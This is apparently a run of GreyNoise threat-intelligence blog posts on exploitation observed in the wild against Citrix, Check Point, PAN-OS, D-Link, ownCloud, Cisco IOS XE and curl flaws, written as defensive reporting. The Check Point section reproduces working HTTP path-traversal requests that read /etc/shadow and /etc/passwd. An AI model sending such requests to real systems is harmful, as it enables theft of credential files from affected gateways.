Actionable intelligence on real-world threats as they unfold. Get insights into attacker behavior, infrastructure, exploitation of zero-days and n-days, temporal pattern, and geographic hotspots — all sourced from GreyNoise’s Global Observation Grid (GOG). Stay ahead of emerging threats, block malicious IPs, and understand what’s happening in the moment.
Subscribe to GreyNoise
Get the latest blog articles delivered right to your inbox.
GreyNoise has observed active exploitation attempts against CVE-2025-5777 (CitrixBleed 2), a memory overread vulnerability in Citrix NetScaler. Exploitation began on June 23 — nearly two weeks before a public proof-of-concept (PoC) was released on July 4.
We created a tag on July 7 to track this activity. Because GreyNoise retroactively associates pre-tag traffic with new tags, prior exploitation attempts are now visible in the GreyNoise Visualizer.
Key Observations
First observed activity: June 23, 2025
PoC released: July 4, 2025
GreyNoise tag published: July 7, 2025
CISA confirms activity with GreyNoise: July 9, 2025 (prior to KEV addition)
Early exploitation attempts came from malicious IPs geolocated in China. Rather than exploiting indiscriminately, these IPs targeted GreyNoise sensors configured to emulate Citrix NetScaler appliances, suggesting deliberate targeting.
CISA Confirmation
On July 9, shortly after we published the tag, CISA contacted GreyNoise to confirm exploitation activity. CVE-2025-5777 was subsequently added to the Known Exploited Vulnerabilities (KEV) catalog.
Recommended Actions
Defenders can dynamically block malicious IPs to reduce exposure and suppress alerts.
The above list will stay updated as new IPs are observed attempting to exploit CVE-2025-5777.
GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.
— — —
Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content initiatives that illuminate the complexities of internet noise and threat intelligence. In past roles, he led partnered research initiatives with Google and the U.S. Department of Homeland Security. With a background in finance, technology, and engagement with the United Nations on global topics, Stone brings a multidimensional perspective to cybersecurity. He is also affiliated with the Council on Foreign Relations.
On May 28, 2024, Check Point published an advisory (and emailed customers) regarding CVE-2024-24919, a CVSS 8.6 vulnerability that they described using fairly vague language: "exploiting this vulnerability can result in accessing sensitive information on the Security Gateway. This, in certain scenarios, can potentially lead the attacker to move laterally and gain domain admin privileges."
Although they buried the lede a bit, if you scroll way down and click through a bit, you'll see that attacks in the wild occurred as far back as April 7, 2024 (nearly 2 months)! Two days after the advisory came out (May 30, 2024), we published a tag, which currently shows rapidly increasing exploitation:
Although you can’t see it on the graph, the very first attempts we saw were on May 31, 2024 at around 9:30am UTC. We also observed some attempted exploits on May 30, 2024, but they don’t show up in our public data because they don’t actually work (more on that below).
On May 31, 2024, our friends at Censys published their write-up, which indicated that there are nearly 14,000 devices running some version of that software, although it’s not clear how many of those have exposed management ports.
The vulnerability
The core vulnerability is a pretty straight-forward path traversal issue. One of the folks on my team reverse engineered the patch concurrently with watchTowr and came up with basically the same exploit (this one is from watchTowr):
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39
aCSHELL/../../../../../../../etc/shadow
Since the server runs as root, an attacker can grab any file on the filesystem! We’ll show you what attackers are actually searching for below.
Our observations
Sift
Although we tagged this issue very quickly, we actually saw the first exploit attempt (attempt), with a non-working exploit, hitting Sift on May 30, 2024 - presumably somebody thought they’d figured it out and pushed the big “go” button a bit too quickly:
We started seeing actual exploitation attempts logged in Sift on May 31, 2024:
POST /clients/MyCRL HTTP/1.1
Host: <ip>
Connection: close
Accept-Encoding: gzip
Connection: close
Content-Length: 39
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
aCSHELL/../../../../../../../etc/shadow
I’m always impressed when an automated system can catch a novel exploit without being told about it!
Honeypot data
We manually searched our honeypot data going back 90 days prior to today (June 4, 2024), and the oldest exploit attempts that we see started on May 30, 2024, at about 5pm UTC:
POST /clients/MyCRL HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 38
/clients/MyCRL/../../../..//etc/passwd
The word “attempts” is doing a lot of work in that sentence because, from what we can tell, this payload doesn’t actually work - perhaps somebody pressed the big red button before actually testing their exploit?
In any case, the IP address using that broken payload was 125.229.221.55, a Taiwan-based address that started scanning for HNAP-enabled devices on May 30, 2024, then a few hours later (on the same day) started scanning for CVE-2024-24919. We can’t say with certainty whether the HNAP scan is related, but it’s the only other traffic we’ve ever seen from that IP address. In the exploits, the IP attempted to fetch /etc/passwd and /etc/shadow.
The first real exploitation we observed began on the morning of May 31, around 9:40am UTC, when a New York-based IP address, 45.88.91.78, took a break from searching for CISCO ASA appliances and started launching exploits for this issue with a payload that would appear to actually work (and, in fact, is suspiciously identical to watchTowr’s PoC, including the number of ../s):
POST /clients/MyCRL HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Content-Length: 39
Accept-Encoding: gzip
aCSHELL/../../../../../../../etc/shadow
Around that same time, a chorus of different scanners emerged that used a bunch of different paths. Due to the nature of the vulnerability, it’s very hard to determine the actual intent of the attacker - all we know is which file they’re trying to fetch. Whether they’re using that to steal passwords or to test the vulnerability is hard to know.
That being said, as of June 4, 2024, here is the top-10 list of plausibly-working payloads that we’ve observed, with the counts:
As you can see, /etc/fstab remains a popular target - probably it’s a reliable path being used by some off-the-shelf scanner(s).
/etc/shadow of course remains popular, but we’re suddenly seeing a lot of attempts to pull
/sysimg/CPwrapper/SU/Products.conf and /config/db/initial that we weren’t seeing yesterday. That demonstrates how the attack is evolving day over day!
Unfortunately, we didn’t directly observe the 0-day exploitation prior to the advisory being released; presumably, the attacks were targeted and didn’t hit our sensor network (although as we expand our new sensors and personas to real networks, we expect to start seeing this type of 0-day exploitation in Sift!)
Conclusion
With a public proof of concept out, and exploitation quickly ramping up, we recommend patching Check Point as soon as possible!
Yesterday, GreyNoise reached a fun and significant milestone after publishing our 1,337th tag. 1337 is a cherished number in hacker culture, as it is a numerical shorthand for "leet", which itself stands for "elite". This term has deep roots, going all the way back to the 80's when one had to make modems scream to access bulletin board systems (now, we humans are the ones screaming whenever we go online to see what fresh hades awaits us each day).
What makes this milestone even more significant is how it was achieved.
The chart, below, shows the cumulative sum of tag counts by year. While there was a modest improvement in intra-year tag creation from 2022 to 2023, we're just into the first few weeks of Q2 in 2024 and are almost at the total tag count for 2023.
We will almost certainly blow past 2023's tag count well-before the end of Q2, and this has all been made possible by our focused and practical use of AI. This system helps our incredible detection engineers quickly triage the millions of events our sensor fleet absorbs every day. With it, they discover and tag novel payloads to help inform and protect our customers, community, and the internet as a whole. The application that fuels this work is called Sift, and we've waxed poetic about it quite a bit over the past few months.
This boost to the tag inventory has also meant an increase in CVE coverage.
(Since it most likely drew your attention, the jumps in 2022 were due numerous factors, including the increase in Russian hostilities towards Ukraine.)
60% of 2024 tags are based on CVEs, and — along with plenty of "modern" vulnerabilities — Sift has helped us catch exploitation attempts of some very old CVEs, too:
I'm incredibly proud of our team of data scientists, security researchers, and detection engineers. Their leet expertise powers the detections that folks rely on every day, and we hope you'll join in our celebration of achieving this epic milestone!
To learn more about GreyNoise tags and how they differ from "traditional" detections, check out our Tags Webinar Series.
On April 12th, 2024, Palo Alto Networks announced CVE-2024-3400. CVE-2024-3400 is a CVSS 10 critical arbitrary file-write vulnerability in Palo Alto Networks PAN-OS software versions 10.2, 11.0, and 11.1. This vulnerability enables unauthenticated attackers to execute arbitrary Linux commands with root-level privileges on affected firewalls if firewalls are configured with a GlobalProtect gateway or portal (or both) and device telemetry enabled.
Palo Alto and Unit 42 have confirmed that threat actors have exploited CVE-2024-3400 in a limited number of attacks in the wild. CISA published guidance and added it to the Known Exploited Vulnerability (KEV) on Friday, April 12, 2024.
Palo Alto Networks released workaround guidance and some hotfixes on April 14, 2024. Customers can also mitigate the vulnerability by enabling Threat ID 95187 if they have a Threat Prevention subscription, or by temporarily disabling device telemetry until the device is upgraded to a fixed PAN-OS version.
GreyNoise is tracking opportunistic exploitation attempts here. As of April 15, 2024, 17:00 UTC, no attempts have been observed by our fleet.
Of note: our sensor fleet has detected instances of nonworking exploits that have been circulated online, claiming to be for CVE-2024-3400. This indicates that opportunistic exploitation will quickly follow once a successful exploit code is released.
(04/11/2024): Clarification on CVE-2024-3273 & CVE-2024-3272
Exploitation of the CVE-2024-3273 command injection vulnerability requires the two valid `user=` and `passwd=` parameters. There is a companion vulnerability tracked as CVE-2024-3272 and describes the issue as "manipulation of the argument user with the input messagebus leads to hard-coded credentials". It is important to note that the "credentials" as described are only the username for the user "messagebus".
"messagebus" is not a backdoor account. It is one of many common pre-configured linux system users that functionally cannot "log in", and thus have no password. Other common example system users include avahi, syslog, nobody, ntp, rtkit, and whoopsie. D-Link correctly validates that the username exists and also correctly validates that the provided password is correct. The logic flaw exercised by CVE-2024-3273 is that the empty (correct) password for the "messagebus" user is never validated that the user should ever be able to log in using a password, if at all.
(04/09/2024): Update on number of vulnerable devices
Upon further analysis, it appears the number of vulnerable devices is much lower than initially reported. According to our friends at Censys, the number is closer to 5,500 devices.
GreyNoise quickly released a tag for tracking under D-Link NAS CVE-2024-3273 RCE Attempt, which was relatively easy for us because our Sift tooling surfaced the exploit to us automatically. Sift curates a report of new/interesting traffic observed by GreyNoise sensors daily after doing much of the analysis and triage work itself.
Sift’s analysis above is correct! Taking it a step further, the command the above IP is attempting to execute is a generic shell script pattern used by botnet operators to try to execute malware for every possible CPU architecture in the expectation that at least one will work. The malware is fetched from 38[.]6[.]224[.]248 over HTTP.
We have retrieved the sample skid.x86 and uploaded it to VirusTotal for sharing and further analysis:
Ever wonder what happens to vulnerabilities after they're forgotten?
In a new blog from the GreyNoise Labs team, we look at CVE-2023-22527, an Atlassian Confluence vulnerability that was all over the news back in January/2024, then forgotten a week later. But even though the media has forgotten, attackers haven't!
The Labs team digs a little into who the attacker is and their techniques - killing other malware, deleting log files, and even using SSH keys to infect other hosts.
If you're interested in how attackers use old vulnerabilities and what they do once they're on a host, check it out!
In October 2023 — as part of the Ransomware Vulnerability Warning Pilot (RVWP) — CISA began tagging entries in their Known Exploited Vulnerabilities (KEV) catalog. This field designates whether exploits for a given vulnerability are known to be used in ransomware attacks. Ransomware has disrupted critical services, businesses, and communities worldwide, and many organizations are working diligently to get ahead of these attacks to prevent losses, disruptions, and exposures.
We’ve talked about this topic before, but today we dig a bit deeper into the topic with some specific guidance as to how your organization can fight the good fight against these foes by leveraging the power of GreyNoise tags.
GreyNoise Tags vs. Ransomware
As scores of organizations who use them know, GreyNoise tags are a signature-based detection method that categorizes internet noise into actionable intelligence. As of this writing, we’ve observed recent activity in 63 tags that CISA has identified as being used in association with ransomware attacks. The figure at the beginning of this post shows the frequency and volume of this opportunistic activity. One striking feature of this activity is the diversity of targeted platforms.
In the case of internet-facing attack campaigns, one might assume that vulnerabilities targeted by ransomware actors would lean towards remote access technologies. The chart and our data that backs it up shows that almost no technology category is safe from these types of attacks. Collaboration tools, such as Atlassian Confluence or JetBrains TeamCity; email platforms, such as Microsoft Exchange; software that powers application middleware services, such as Jboss and WebLogic; or, even devices that are intended to help elevate safety and resilience, such as SonicWall, Ivanti, Citrix, and Fortinet are all regularly targeted.
If you use any of these technologies, knowing when new activity is seen can be helpful in shoring up defenses and readying response activities. By leveraging GreyNoise platform features, such as our Alerts and block lists, security teams can, respectively, determine if more focus should be placed on monitoring key systems and preventing opportunistic harm. With the noise weeded out, response teams can focus their attention on similar activity that is likely to be more targeted, which may also mean by more capable adversaries. And, because we play incredibly well with a host of other security tools, teams can also save time, and use our intelligence within familiar environments.
The Long, Sporadic Tail Of Ransomware Tag Activity
Another striking feature of our ransomware tag activity chart is the diversity of activity. Cloud deployments top the list, with attackers looking to take advantage of misconfigurations that may arise in these highly dynamic environments. Broad and commonly deployed technologies are also regular targets, since these systems can also become victims of errant misconfigurations, especially when restored from unpatched backups.
However, as we move down the list, the frequency becomes far more sporadic, and many involve only single hosts vs. botnet armies. This can be due to attacker familiarity, or individual actors keying off results from well-timed Censys or Shodan searches that show newly exposed vulnerable configurations. If your organization uses any of these components, there truly is no rest from vigilance.
The Ransomware GNQL Listicle
To help defenders get a leg up on these attacks, the list below has links to each individual tag that’s known to be used in ransomware attacks. At each tag page, you can find the block list URL which you can use to immediately weed out the opportunistic noise. Wrap one or more of them inside a GNQL query, such as tags:"F5 BIG-IP iControl RCE Attempt", and you can set up an alert to notify you when new activity is seen, especially in generally dormant tags.
If you're curious as to just how GreyNoise researchers craft our tags we have a three-part webinar series that discusses the makeup of our tags, walks you through how we discover what needs to be tagged, and illustrates how AI is empowering the creation of new tags and detections:
Not a GreyNoise customer — yet? See how much time GreyNoise may be able to save your organization, and how many hours your defenders can save with our ROI calculator.
Sign up and take our platform for a free enterprise trial to see all the features and data available.
SnakeYAML has slithered its way into a deserialization vulnerability, with versions before 2.0 allowing remote code execution when used to parse untrusted input. In this GreyNoise Labs post, Lead Security Researcher Ron Bowes digs into the technical details, drama, and exploits around CVE-2022-1471.
By default, SnakeYAML allows the instantiation of arbitrary Java classes from untrusted YAML sources. This "insecure by default" design has led to at least eight different vulnerabilities prior to its official designation as a CVE. We'll highlight the unhelpful responses from developers and the importance of secure defaults.
Additionally, we'll demonstrate how to build a vulnerable app and understand how the deserialization actually works, developing an exploit to demonstrate how to achieve remote code execution.
Diverse Set of IPs Exploiting Atlassian Vulnerabilities, Not Just a Few Bad Actors.
At GreyNoise, we focus heavily on analyzing data trends and anomalies, as they form a fundamental part of our business. While we collect a vast amount of data regarding unsolicited packets being transmitted across the internet, it is only meaningful if we look at the bigger picture.
We have recently introduced some changes to our back-end system for calculating the trending and anomalous events we update hourly here. This has already proven beneficial, as it helped us detect a sudden increase in malicious Atlassian exploitation attempts late last week (gee, I wonder why…).
Atlassian-related topics occupy seven out of the top ten trending tag anomalies at the time of this writing.
We conducted an analysis on the various spikes and attempted to determine if they were all caused by the same few IPs searching for all possible vulnerabilities. However, our findings suggest a fair distribution of IPs trying to exploit different vulnerabilities. After examining data from the past 24 hours, we found that the highest number of overlapping IPs across all the tags mentioned above was only 9, with 67% of the total IPs seen only once.
As the year ends, ensure your Atlassian products are secure by removing them from the public internet and keeping them up to date. If they’re still unpatched, it likely is too late to avoid compromise. For extra measure, use our dynamic IP blocking feature to protect your organization from opportunistic mass exploitation.
Over at the GreyNoise Labs Grimoire, Ron Bowes has a new, deep-dive post out on the creation of a simple clone of the F5 BIG-IP management port to attract traffic and analyze it. Ron deployed the honeypot for a couple of weeks and then analyzed the traffic using tshark.
Some interesting findings include:
Brute-force attacks on the login page with basic credentials like “user123” and “password123”.
Attempts to exploit CVE-2021-22986, an SSRF issue in the authentication parser.
Traffic targeting the “/mgmt/tm/util/bash” endpoint, which is typically targeted for auth-bypass issues like CVE-2022-1388.
Two instances of exploitation attempts targeting the “/mgmt/shared/iapp/rpm-spec-creator endpoint”, which is related to CVE-2022-41800, an authenticated remote code execution vulnerability.
Ron does note that the majority of the traffic is not related to a rumored 0-day exploit, and that the honeypot helped provide insights into various attack attempts and vulnerabilities.
Pour out your fav caffeinated beverage and sink into Ron's insightful post!
CVE-2022-28958 was initially reported as a remote code execution (RCE) vulnerability in the D-Link DIR816L_FW206b01 firmware via the value parameter at shareport.php. This vulnerability, if real, would have posed a significant security risk, allowing unauthorized remote users to execute arbitrary code on the affected device.
However, further investigation into CVE-2022-28958 revealed that the vulnerability did not actually exist. Tests conducted on various firmware versions, including the reportedly vulnerable version 2.06b1, found no evidence of the vulnerability. Moreover, the original researcher who reported the vulnerability did not provide supporting evidence.
The CVE has been marked as REJECTED by the CVE List, retracted by the Certified Naming Authority that originally vetted and published the CVE, and CISA has removed the vulnerability from their catalog of known exploited vulnerabilities.
In response to these findings, GreyNoise researchers made the call to pull their D-Link DIR-816 tag for CVE-2022-28958. This action aligns with GreyNoise's commitment to providing the cybersecurity community with accurate and reliable threat intelligence.
The case of CVE-2022-28958 serves as a reminder of the importance of thorough and rigorous vulnerability verification. Incorrectly reported vulnerabilities can lead to unnecessary alarm and resource allocation in the cybersecurity community. They can also undermine trust in the reporting and cataloging systems that are crucial for effective vulnerability management.
In this context, the work of organizations like GreyNoise Intelligence and CISA is invaluable. By investigating reported vulnerabilities and making informed decisions based on their findings, they help ensure that the cybersecurity community can focus its efforts on real and present threats.
Have you heard of CVE-2023-49105? While the 10/10 CVE-2023-49103 got all the attention last week, organizations should not quickly overlook CVE-2023-49105!
–
Last week, GreyNoise published a high-level and deep-dive blog into a seemingly simple (but actually complex) vulnerability in ownCloud (CVE-2023-49103) that permitted users to enumerate environmental variables. Since it was listed as CVSS 10/10, everybody jumped on it.
Once we understood the 10/10 vulnerability, CVE-2023-49103, we shifted focus to the 9.8/10 vulnerability, CVE-2023-49105, a WebDAV Api Authentication Bypass in ownCloud.
What we found is that CVE-2023-49105 is arguably a more severe vulnerability. Ron Bowes, Lead Security Researcher, quickly developed a PoC for this vulnerability (another deep-dive here!) and verified the findings published by Abionics Security’s write-up demonstrating how this vulnerability can enable remote code execution.
CVE-2023-49105 is an authentication bypass issue affecting ownCloud from version 10.6.0 to version 10.13.0. It allows an attacker to access, modify, or delete any file without authentication if the username is known. Even if the user has no signing key configured, ownCloud accepts pre-signed URLs, enabling the attacker to generate URLs for arbitrary file operations.
Successfully exploiting CVE-2023-49105 can lead to serious impacts like data theft, ransomware deployment, and remote code execution. While it may have received less initial attention than the CVSS 10 issue, organizations using affected ownCloud versions should treat patching this vulnerability as a critical priority. Unlike the CVSS 10 issue, this affects *all* installations, not just Docker-based ones.
Upgrading to ownCloud 10.13.3 or later is reported to resolve CVE-2023-49105.
Ron Bowes of the GreyNoise Labs team has made some updates to the deep dive into this critical vulnerability in ownCloud’s Graph API.
2023-11-29 UPDATE
Ron Bowes of the GreyNoise Labs team has put together a deep dive into this critical vulnerability in ownCloud’s Graph API. Ron discusses the exploit, its impact on Docker installations, and our comprehensive testing process, here at GreyNoise.
2023-11-27 ORIGINAL POST
On November 21, 2023, ownCloud publicly disclosed a critical vulnerability with a CVSS severity rating of 10 out of 10. This vulnerability, tracked as CVE-2023-49103, affects the "graphapi" app used in ownCloud.
ownCloud is a file server and collaboration platform that enables secure storage, sharing, and synchronization of commonly sensitive files.
The vulnerability allows attackers to access admin passwords, mail server credentials, and license keys.
GreyNoise has observed mass exploitation of this vulnerability in the wild as early as November 25, 2023.
The vulnerability arises from a flaw in the "graphapi" app, present in ownCloud versions 0.2.0 to 0.3.0. This app utilizes a third-party library that will reveal sensitive PHP environment configurations, including passwords and keys. Disabling the app does not entirely resolve the issue, and even non-containerized ownCloud instances are at risk. Docker containers before February 2023 are not affected.
Mitigation information listed in the vendor's disclosure includes manual efforts such as deleting a directory and changing any secrets that may have been accessed.
In addition to CVE-2023-49103, ownCloud has also disclosed other critical vulnerabilities, including an authentication bypass flaw (CVE-2023-49105) and a critical flaw related to the oauth2 app (CVE-2023-49104).
Organizations using ownCloud should address these vulnerabilities immediately.
CVE-2023-29552 is a high-severity vulnerability discovered in the Service Location Protocol (SLP), a legacy Internet protocol. This vulnerability allows an unauthenticated, remote attacker to register arbitrary services, enabling them to launch a Denial-of-Service (DoS) attack via a reflection amplification attack. BitSight first alerted the world to this weakness back in May.
The potential harm from this vulnerability is significant.Successful exploitation could potentially allow an attacker to launch one of the most powerful DoS amplification attacks in history, with an amplification factor as high as 2,200 times. This means that an attacker could send a small amount of traffic to a vulnerable SLP instance, which would then respond with a much larger amount of traffic to the victim's server. This could overwhelm the server, causing it to become unresponsive and disrupting the services it provides.
BitSight has noted that vulnerability affects more than 2,000 global organizations and over 54,000 SLP instances accessible via the internet, including VMWare ESXi Hypervisor, Konica Minolta printers, Planex Routers, IBM Integrated Management Module (IMM), SMC IPMI, and 665 other product types. This wide impact means that a large number of systems and services could potentially be disrupted by an attack exploiting this vulnerability.
The potential harms from this vulnerability are not limited to service disruption. DoS attacks can also lead to financial losses, especially for organizations that rely on web-based transactions. For instance, an online retailer could lose sales if their website becomes unavailable due to a DoS attack; or, financial services firms may be unable to process customer orb2b transactions. Furthermore, the recovery from such an attack could require significant resources, further increasing the financial impact.
Given the severity and potential impacts of this vulnerability, it's crucial for organizations to take steps to mitigate it.This could include upgrading to a release line that is not impacted by the vulnerability, or implementing other appropriate security measures to safeguard their networks and servers.
For Your Consideration
Folks may remember the recent HTTP/2 Rapid Reset vulnerability announced by Cloudflare. It was a zero-day vulnerability that exploited a weakness in the HTTP/2 protocol to generate massive Distributed Denial of Service (DDoS) attacks. The vulnerability, CVE-2023-44487, takes advantage of the ability of HTTP/2 to allow for multiple distinct logical connections to be multiplexed over a single HTTP session, with the rapid reset attack consisting of multiple HTTP/2 connections with requests and resets in rapid succession.
While both the Rapid Reset vulnerability and this new SLP vulnerability can lead to large-scale DDoS attacks, they exploit different protocols and mechanisms. The HTTP/2 Rapid Reset vulnerability exploits a feature in the HTTP/2 protocol to generate massive DDoS attacks, while the SLP amplification attack vector leverages the SLP protocol to amplify the volume of DDoS attacks.
We're Here To Help
GreyNoise customers can use our hourly updated blocklists for the SLP tag (compatible with Palo Alto, Cisco, Fortinet, and other next-gen firewalls) to gain proactive protection from non-benign sources looking for potential system with SLP exposed.
Citrix's NetScaler ADC and NetScaler Gateway have, once more, been found to have multiple vulnerabilities, tracked as CVE-2023-4966 and CVE-2023-4967.
On October 23, 2023, GreyNoise Detection Engineers added tag coverage for CVE-2023-4966, which is an information disclosure vulnerability in NetScaler ADC and NetScaler Gateway. When configured as a gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or as an AAA virtual server, an unauthenticated attacker could exploit the device in order to hijack an existing authenticated session. Depending on the permissions of the account they have hijacked, this could allow the attacker to gain additional access within a target environment and collect other account credentials.
CVE-2023-4967 is a denial-of-service (DoS) vulnerability that can potentially enable DoS attacks on vulnerable devices.
Both CVEs were published on October 10, 2023, and the tag for CVE-2023-4966 joins 11 other Citrix-specific tags in the GreyNoise tag corpus.
The GreyNoise Storm⚡Watch webcast/podcast provided extensive coverage of this vulnerability in this week’s episode.
Widespread Attacks
As of this post’s publish time, GreyNoise has observed just under seventy IP addresses attempting to exploit this vulnerability:
Activity started on the 24th and shows no signs of stopping.
Mitigating Harm
Citrix has urged customers to install updated versions of the affected devices as soon as possible. The recommended versions to upgrade to are NetScaler ADC and NetScaler Gateway 14.1-8.50 and later, NetScaler ADC and NetScaler Gateway 13.1-49.15 and later releases of 13.1, NetScaler ADC and NetScaler Gateway 13.0-92.19 and later releases of 13.0, NetScaler ADC 13.1-FIPS 13.1-37.164 and later releases of 13.1-FIPS, NetScaler ADC 12.1-FIPS 12.1-55.300 and later releases of 12.1-FIPS, and NetScaler ADC 12.1-NDcPP 12.1-55.300 and later releases of 12.1-NDcPP.
Remote access technologies are prime targets for attackers, especially when proof-of-concept code becomes available. GreyNoise Detection Engineers work with research partners, and conducts bespoke vulnerability research to provide timely access to real-time intelligence that can help your organization buy time to patch, remove the noise of opportunistic attackers, and give you the opportunity to focus on fending off targeted attacks.
Cisco Talos has updated their advisory to include a new CVE, CVE-2023-20273, "that is exploited to deploy the implant" with a fix estimated to be released on October 22nd. The Cisco Security Advisory was also updated to include the new CVE, information about observed attacks, mitigation, and Snort rule IDs.
We have also updated our illustration (below) to include the new CVE.
Original Post
On October 16th, 2023, Cisco disclosed a critical software Web UI Privilege Escalation Vulnerability under the identifier CVE-2023-20198 with a CVSS base score of 10. Cisco notes that the vulnerability has been exploited in the wild. The vulnerability allows an unauthenticated attacker to create an account with “privilege level 15 access” (full access to all commands). There is no patch for the privilege escalation vulnerability at the time of writing.
Initial Disclosure
In coordination with this disclosure, Cisco Talos published a threat advisory noting that the privilege escalation vulnerability CVE-2023-20198 is leveraged for initial access. Following this activity, an implant is delivered through a “yet undetermined mechanism” for which no patch is available.
“Leveraging existing detections, we observed the actor exploiting CVE-2021-1435, for which Cisco provided a patch in 2021, to install the implant after gaining access to the device. We have also seen devices fully patched against CVE-2021-1435 getting the implant successfully installed through an as-of-yet undetermined mechanism.”
Later in the threat advisory, the Snort intrusion detection system rule ID 3:50118:2 is called out as a way to address “this” threat.
The Snort rule 3:50118:2 "SERVER-WEBAPP Cisco IOS XE Web UI command injection attempt” does not include any mention that it detects CVE-2021-1435. In the rule’s references section, CVE-2019-12650 and CVE-2019-1862 — both command injection vulnerabilities — are mentioned via the following links:
If Snort rule 3:50118:2 detects the command injection vulnerabilities (CVE-2019-1862 / CVE-2019-12650 / CVE-2021-1435?) and the malicious implant in this recent string of attacks is installed through a “yet undetermined mechanism” on systems that are fully patched against CVE-2021-1435, then the vulnerability being leveraged to install the implant is not CVE-2021-1435. Additionally, a patch is available for CVE-2021-1435 whereas a patch is not available for the mechanism used to install the implant.
Surveying The Carnage
Further research by VulnCheck has demonstrated that systems affected by the malicious implants can be coerced to disclose their 18-character hexadecimal unique implant identifier.
Cisco buried the lede by not mentioning thousands of internet-facing IOS XE systems have been implanted. VulnCheck scanned internet-facing Cisco IOS XE web interfaces and found thousands of implanted hosts. This is a bad situation, as privileged access on the IOS XE likely allows attackers to monitor network traffic, pivot into protected networks, and perform any number of man-in-the-middle attacks.
Censys also configured a scan profile and published their results in a blog post. It’s not a pretty picture. Over 40K Cisco IOS devices had their web admin interfaces exposed to the internet and fell victim to the latest round of implant attacks.
More distressing is that some of these devices are being used to launch further attacks. Researchers from both VulnCheck and Censys were kind enough to run their results through the GreyNoise Analyzer, which enables bulk triage of IP lists. Over 120 devices have been put into malicious service by attackers and live in diverse autonomous systems:
Organization
Count
Akamai Technologies
23
Google APIs and Services
23
Verizon Business
11
UNINET
4
NTT Communications Corporation
3
Cogent Communications
2
Mobile Telecommunications Company
2
Reliance Jio Infocomm Limited
2
Suburban Broadband Ltd
2
UNINET-TH
2
"ElCat" Ltd.
1
aamra networks limited,
1
AMERICATEL PERU S.A.
1
Bangladesh Telecommunications Company Limited (BTCL), Nationwide PSTN Operator and Data and Internet Service Provider.
1
Bell Canada
1
Bhutan Telecom Ltd
1
CHINANET-BACKBONE
1
Cloud 9 Ltd.
1
Comcast Cable Communications, LLC
1
COMPAÑIA PARAGUAYA DE COMUNICACIONES S.A. (COPACO S.A.)
1
CRISP S.A.
1
Data Communication Business Group
1
Emirates Integrated Telecommunications Company PJSC
1
Euroweb Romania S.R.L.
1
Exetel Pty Ltd
1
Frontier Communications of America, Inc.
1
GTD PERÚ S.A
1
HBA TELECOM LTDA - ME
1
INDOSAT Internet Network Provider
1
INSYS LLC
1
IP TELECOM, SERVICOS DE TELECOMUNICACOES S.A.
1
Jamii Telecommunications Limited
1
JSC Avantel
1
JSC Comcor
1
Kenyan Post & Telecommunications Company / Telkom Kenya Ltd
1
Level 3 Parent, LLC
1
Liquid Telecommunications Ltd
1
M247 UK Ltd
1
Mobile Telecommunication Company Saudi Arabia Joint-Stock company
1
MTN COTE D'IVOIRE S.A
1
NOS COMUNICACOES, S.A.
1
Núcleo S.A.
1
Omani Qatari Telecommunication Company SAOC
1
ONE ALBANIA SH.A.
1
Philippine Long Distance Telephone Company
1
PJSC Rostelecom
1
POCOS B.V.
1
PT. Power Telecom Indonesia
1
Saudi Telecom Company JSC
1
Simbanet (T) Limited
1
SONATEL-AS Autonomous System
1
Superonline Iletisim Hizmetleri A.S.
1
Telecel S.A.
1
Telmex Colombia S.A.
1
The Communication Authoity of Thailand, CAT
1
TIEN PHAT TECHNOLOGY CORPORATION
1
Univision LLC
1
VNPT Corp
1
Vodafone Romania S.A.
1
Unsurprisingly, we’re also seeing a large uptick in scanning from malicious, benign, and “unknown” sources in our Cisco IOS XE CVE-2023-20198 Scanner tag:
Im-persistent Harms
A key aspect of the current, underlying implant is that it does not survive a reboot. That means attackers will need to reinfect devices in their control if power is cycled or if they perform regular maintenance that requires a reboot… unless they have created a persistent access method prior to the reboot such as a newly created account. Given that these Cisco appliances are (small) business-class devices, they are more likely to have static IP addresses, meaning that attackers won’t have to re-scan the entire internet nearly as often as they might otherwise to identify and re-infect them.
The Enemy Within
Censys, VulnCheck, and GreyNoise can only report the view from the outside. However, similar Cisco IOS devices are also used internally in many organizations and are equally susceptible to this vulnerability. After gaining initial access on a low-privileged endpoint, attackers will no doubt be probing for vulnerable Cisco devices internally, where it is even more likely the web admin UI will be enabled. Having such privileged access to an internal router/network may be even more valuable/desirable than internet-facing ones.
Staying Safe
Researchers from GreyNoise Labs strongly encourage organizations to disable the HTTP Server feature on all internet-facing systems until a patch is available (and consider leaving it disabled permanently). This can be done by following the instructions provided in the Cisco security advisory.
Given the transient nature of the implant, they also suggest conducting an incident response exercise to determine if any internet-facing (or internal) Cisco device was demonstrating anomalous behavior.
Remember, you can:
use our Analyzer for IP triage
block non-benign scanners — through our dynamic, timely block lists — searching for signs of implants
On October 11th, 2023, a heap-based buffer overflow in curl was disclosed under the identifier CVE-2023-38545. The vulnerability affects libcurl 7.69.0 to and including 8.3.0. Vulnerable versions of libcurl may be embedded in existing applications. However, to reach the vulnerable code path, the application must be configured to utilize one of the SOCKS5 proxy modes and attempt to resolve a hostname with extraneous length.
In a controlled environment, reproducing the bug itself is trivial. Pictured below is a vulnerable version of curl requesting a hostname consisting of 10,000 A’s through a configured SOCKS5 proxy, resulting in memory corruption leading to a Segmentation fault.
In practice, the scope of the vulnerability is more nuanced. As noted above, curl must be configured to utilize a SOCK5 proxy to reach the vulnerable code path. If you run an application utilizing a vulnerable version of curl/libcurl that makes HTTP requests and an attacker can set the “http_proxy” environment variable, curl may automatically inherit that configuration, allowing the vulnerable code path to be reached (pictured below). Of course, this assumes that the attacker already has some level of privileged access to set these environment variables. At such a point that an attacker already has privileged access, leveraging this curl vulnerability is certainly not the easiest path to remote code execution.
